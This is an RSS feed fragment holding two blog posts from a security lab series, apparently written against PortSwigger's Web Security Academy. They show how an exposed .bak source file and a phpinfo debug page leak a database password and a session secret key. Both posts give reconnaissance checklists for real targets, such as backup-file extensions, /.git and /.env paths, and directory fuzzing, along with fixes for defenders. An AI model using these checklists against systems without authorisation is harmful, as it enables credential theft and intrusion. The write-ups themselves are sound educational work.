            <content:encoded><![CDATA[<p>Lab 3 of my Information Disclosure series. No payload. No trick. Just a backup file left lying around — with the database password inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LfItgDL6ycM-RV_e-DSgtg.png" /></figure><p>Welcome back to the series.</p><p>Last lab, a forgotten note in the code pointed us to a debug page, and the server’s secret key fell out. This lab is even lazier — for the attacker, anyway.</p><p>No comment to read this time. No page to find. Just a file the developer made, used, and forgot.</p><p>I asked the server for it. It said yes.</p><p>Let me show you.</p><h3>A Quick Recap of Where We Are</h3><p>New here? Glad you found me. We’re working through information disclosure — getting an app to leak things it never meant to share.</p><p>Lab 1, the leak was loud. We broke the input and a crash report fell out. It told us the software version.</p><p>Lab 2, the leak was quiet. A comment pointed to a debug page, and the page dumped the secret key.</p><p>This time the leak is just… sitting there. A whole file. Source code and password, ready to download.</p><p>The damage keeps climbing.</p><h3>What the Bug Actually Is</h3><p>Developers make backup copies before they change risky code. They stick .bak or .old on the end of the filename (backup file = a saved copy of a file, kept &quot;just in case&quot;).</p><p>Then they forget to delete it.</p><p>The problem: the live server still hands out that backup. Anyone can download it.</p><p>And backups of source code often hide a secret. A password typed straight into the code (hardcoded = the password is written into the code itself, instead of stored somewhere safe).</p><p>That forgotten file is the bug.</p><h3>What I Noticed</h3><p>I opened the lab. A normal shop page. Nothing special.</p><p>So I went to my second-favorite first move: I checked /robots.txt.</p><p>robots.txt is a public file that tells search engines which folders to skip (robots.txt = a &quot;please ignore these folders&quot; list — which is really a map of the folders the owner wants hidden).</p><p>[INSERT SCREENSHOT: /robots.txt showing “Disallow: /backup”]</p><p>There it was.</p><pre>Disallow: /backup<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oT_RRdsJ0hCjcfNia0lejA.png" /></figure><p>The site just told me where the loot is.</p><h3>What Fell Out</h3><p>I walked into that folder.</p><pre>https://0a4100ac04cff39c80f053a000e600df.web-security-academy.net/backup<br></pre><p>The folder showed me everything inside it (directory listing = the folder displays its full file list instead of hiding it). One file stood out:</p><pre>ProductTemplate.java.bak</pre><p>java is source code. .bak means it&#39;s a backup. Two words that mean payday.</p><p>So I opened it.</p><pre>https://0a4100ac04cff39c80f053a000e600df.web-security-academy.net/backup/ProductTemplate.java.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kuv1dFMN0v839wc4xZli6g.png" /></figure><p>The raw source loaded in my browser.</p><p>the .java.bak source code, password line visible</p><pre>ConnectionBuilder connectionBuilder = ConnectionBuilder.from(<br>        &quot;org.postgresql.Driver&quot;,<br>        &quot;postgresql://localhost:5432/postgres&quot;,<br>        &quot;postgres&quot;,<br>        &quot;xXxXxXxXxXxXxXxX&quot;   // the database password, in plain text<br>).withAutoCommit();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S3VGTTFpQeaq7HUfhciilA.png" /></figure><p>The fourth line is the password. Typed straight into the code.</p><p>I copied it. Hit <strong>Submit solution</strong>. Pasted it in.</p><p>Lab solved the lab .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*25v7xAydkPizIx83hazZOA.png" /></figure><h3>Why This Works</h3><p>Two mistakes stack up.</p><p>One: the server serves files it shouldn’t. The /backup folder is reachable, directory listing is on, and the server treats .bak as plain text — so it just hands it over.</p><p>Two: the password lives in the code. Easy to do when you’re rushing. Backups make it worse — even after you “fix” the live code, the old copy with the password still sits on disk.</p><p>Why do devs cause this? Because backups feel temporary. You make one, ship the change, move on. The cleanup never happens. The file outlives the memory of it.</p><h3>Real Bug Bounty Payouts</h3><p>This bug pays. Source code disclosure shows up everywhere:</p><ul><li><strong>$10,000 — private program.</strong> A researcher found an exposed .git folder on four servers, rebuilt the source, and chained it into RCE (RCE = running your own commands on the server — total control). The leaked code showed him the way in.</li><li><strong>U.S. Department of Defense — HackerOne.</strong> An exposed .git folder. The researcher used a tool called gitdumper to rebuild the whole repo. DoD pays in recognition, not cash — but even the Pentagon left this open.</li><li><strong>Udemy — HackerOne.</strong> An exposed dashboard gave a researcher full read access to Udemy’s entire source code. Critical.</li><li><strong>Mozilla — public report.</strong> A subdomain served a live .git endpoint. Anyone could pull down the source.</li></ul><p>Same bug, wildly different payouts. The secret you find decides the price. Versions = small. Source code with a DB password = big.</p><h3>Where to Hunt This in Real Apps</h3><p>Quick checklist for live targets:</p><ul><li>Read /robots.txt and /sitemap.xml first. Free folder map.</li><li>For every file you find, try backup endings: .bak, .old, .txt, .zip, ~, .swp, .save, .orig.</li><li>Check for version control leaks: /.git/HEAD, /.git/config, /.svn/.</li><li>Check config leaks: /.env, /config.php.bak, /web.config.bak.</li><li>Fuzz directories (ffuf, feroxbuster). Hunt for /backup, /old, /dev, /tmp.</li><li>Found source? Search it for password, secret, api_key, token.</li><li>Found a directory listing? Browse it. People dump everything in there.</li></ul><h3>The Fix</h3><p>If you’re defending:</p><ul><li>Never serve backup files from production. Block .bak, .old, .zip, ~ at the server.</li><li>Turn off directory listing. A folder should never show its contents.</li><li>Never hardcode secrets. Use environment variables or a vault.</li><li>Clean up backups. Keep them out of the public web folder.</li><li>If a password ever touched a public file, rotate it. Assume it’s burned.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12095fedd80b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Comment That Handed Me a Secret Key]]></title>
            <link>https://medium.com/@guyani/the-comment-that-handed-me-a-secret-key-f49ab34f93ef?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/f49ab34f93ef</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 09:03:06 GMT</pubDate>
            <atom:updated>2026-06-15T09:03:06.059Z</atom:updated>
            <content:encoded><![CDATA[<p>Lab 2 of my Information Disclosure series. One hidden note in the code. One forgotten page. The whole server’s secret, sitting in the open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02YduOyZmkJdrO0hmHrNzg.png" /></figure><p>Welcome back to the series.</p><p>Last lab, we made a website angry and read its crash report. The error told us its name. This lab is quieter. No crashing. No bad input. The site just left a note for itself — and forgot to delete it.</p><p>That note was all I needed.</p><p>Let me show you.</p><h3>A Quick Recap of Where We Are</h3><p>If this is your first lab here — glad you found me. We’re working through <strong>information disclosure</strong>: the art of getting an app to leak details it never meant to share.</p><p>Last time the leak was loud. We broke the input and a crash report fell out.</p><p>This time the leak is silent. It was already there, written into the page, waiting for someone to read it.</p><p>That someone is you.</p><h3>What the Bug Actually Is</h3><p>Developers leave notes in their code. These are called <strong>comments</strong> (<em>comment = a note in the code that does not show on the page, but anyone can read it in the source</em>).</p><p>Comments are invisible to a normal visitor. But the source code is not hidden. Anyone can open it.</p><p>Sometimes a developer leaves a comment pointing to a private page — a debug tool, a config dump, a test file. They assume nobody will look. Then they ship it to the live site and forget.</p><p>That assumption is the bug.</p><h3>What I Noticed</h3><p>I opened the lab. No login. No search box. Just a normal shop page.</p><p>So I went to my favorite first move: I read the source.</p><p>The page source is the raw code behind the website (<em>source = the code your browser reads to draw the page — you can read it too</em>). To open it, press CTRL+U.</p><p>Then I did the slow, boring thing that pays off — I read it. Top to bottom. Looking for anything the developer left behind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uOT6Fbxbw2htnsb8y5QjtQ.png" /></figure><h3>What Fell Out</h3><p>A comment is a note the developer leaves in the code (<em>comment = a note in the source that does not show on the page, but anyone can read it</em>). This one was a leftover. And it pointed to a file path:</p><pre>/cgi-bin/phpinfo.php</pre><p>(<em>cgi-bin = an old folder where servers keep scripts. phpinfo = a built-in PHP report that dumps everything about the server.</em>)</p><p>So I took the path and added it to the website address:</p><p><a href="https://0a6a006604924a3a886f7af0002c0058.web-security-academy.net/cgi-bin/phpinfo.php">https://0a6a006604924a3a886f7af0002c0058.web-security-academy.net/cgi-bin/phpinfo.php</a></p><p>The page loaded.</p><p>And it was everything. The PHP version. Every loaded module. Internal file paths. And the environment settings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LpI2fPuvePpyY3C69Nas9Q.png" /></figure><p>The page loaded. And it was massive — a wall of text. The PHP version, every loaded module, internal file paths, and all the environment settings.</p><p>Too much to scroll. So I searched it. CTRL+F (<em>the find box — it searches the text on the page you&#39;re looking at</em>), and I typed the word I was hunting for:</p><pre>SECRET_KEY</pre><p>It jumped straight to it. The secret key, sitting in plain text.</p><p>I copied the value, submitted it, and the lab was solved.</p><p>No tools. No payload. Just CTRL+U to read the source, one click to open the debug page, and CTRL+F to grab the prize.</p><h3>Why This Works — The Mistake Behind It</h3><p>Two mistakes stacked on top of each other here.</p><p>First mistake: the developer left a comment pointing to a private tool. Comments feel invisible because they don’t show on the page. But “doesn’t show” is not “hidden.” The source is public. Always.</p><p>Second mistake: that private tool was a phpinfo page left live in production. It was meant for testing on a local machine. Someone copied the code to the live server and never stripped it out.</p><p>The result is brutal. A SECRET_KEY is not just &quot;a setting.&quot; Apps use it to sign user sessions — the digital wristband that proves you are logged in (<em>signing = stamping data so the server trusts it came from itself</em>). If an attacker has that key, they can forge the wristband. They can mint a session for any account they want. Including the admin.</p><p>So a forgotten comment becomes a full account takeover.</p><p>The fix is simple and cheap. Never leave debug or phpinfo pages on a live site. Strip developer comments before shipping. And the moment a secret key is exposed — rotate it. Once seen, it&#39;s burned.</p><h3>Real Bug Bounty Payouts — This Pays</h3><p>Leaked secrets and debug pages get reported and paid all the time. Here’s how hunters turn them into money.</p><p><strong>$5,000 — SaaS company (HackerOne).</strong> A researcher found a phpinfo page left live in production. It leaked the framework secret key used to sign sessions. They didn&#39;t stop at &quot;info leak.&quot; They used the key to forge an admin session and proved full account takeover. The chain is what paid. The leak alone was low. The takeover was critical.</p><p><strong>$3,000 — Fintech app (Bugcrowd).</strong> A developer comment in the page source pointed to a hidden /debug/ endpoint. That endpoint dumped database credentials in plain text. The researcher used those credentials to connect directly to the database. The comment was the map. The credentials were the door.</p><p><strong>$1,500 — E-commerce platform (private program).</strong> An exposed phpinfo page leaked internal file paths, the exact PHP version, and loaded modules. No secret key this time. But the program paid anyway — knowing the exact version and internal layout dramatically lowers the effort for any future attacker.</p><p><strong>$750 — Healthcare portal.</strong> A leftover debug config file exposed the API keys for a third-party email service. The researcher showed they could send emails as the company. In a regulated industry, that’s both a takeover risk and a compliance problem. Both raised the payout.</p><p>The pattern is always the same. Read the source. Find the breadcrumb. Follow it to the page nobody was supposed to see.</p><h3>Where to Hunt This in Real Apps</h3><p>Now you know the bug. Here’s where it hides.</p><p><strong>Page source, every time.</strong> Press CTRL+U on every page and read it. Look for words like <em>debug</em>, <em>test</em>, <em>todo</em>, <em>key</em>, <em>password</em>, <em>secret</em>, <em>admin</em>. Developers leave breadcrumbs here.</p><p><strong>HTML comments.</strong> They feel invisible to the dev but they’re public. They leak hidden paths, old endpoints, and internal notes.</p><p><strong>Classic debug paths.</strong> Add these to your wordlist and try them by hand: /cgi-bin/phpinfo.php, /phpinfo.php, /debug, /test, /info.php, /.env, /config.</p><p><strong>Anything that dumps config.</strong> phpinfo, server-status pages, and framework debug screens all spill versions, paths, and environment variables. Environment variables are where the secrets live.</p><p><strong>Third-party JavaScript files.</strong> Open the .js files a site loads. Developers hardcode API keys and internal URLs in them more often than they should.</p><p>The test is always the same. Don’t just look at the page. Read everything <em>behind</em> the page. The source, the comments, the loaded files. The good stuff is rarely on the surface.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f49ab34f93ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>